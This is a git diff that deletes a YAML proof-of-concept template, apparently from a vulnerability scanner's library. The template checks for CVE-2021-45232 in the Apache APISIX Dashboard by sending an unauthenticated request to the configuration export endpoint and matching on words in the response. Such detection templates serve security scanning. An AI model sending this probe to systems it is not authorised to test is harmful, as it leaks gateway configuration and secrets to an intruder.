diff --git a/pocs/apache-apisix-dashboard-cve-2021-45232-info-leak.yml b/pocs/apache-apisix-dashboard-cve-2021-45232-info-leak.yml
deleted file mode 100644
index cc25ed50e..000000000
--- a/pocs/apache-apisix-dashboard-cve-2021-45232-info-leak.yml
+++ /dev/null
@@ -1,15 +0,0 @@
-name: poc-yaml-apache-apisix-dashboard-cve-2021-45232-info-leak
-transport: http
-rules:
-    r1:
-        request:
-            method: GET
-            path: "/apisix/admin/migrate/export"
-        expression: |
-            response.status == 200 && response.body.bcontains(b"Counsumers") && response.body.bcontains(b"Routes")
-expression:
-    r1()
-detail:
-    author: 凉风(https://github.com/c0olw)
-    links:
-        - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45232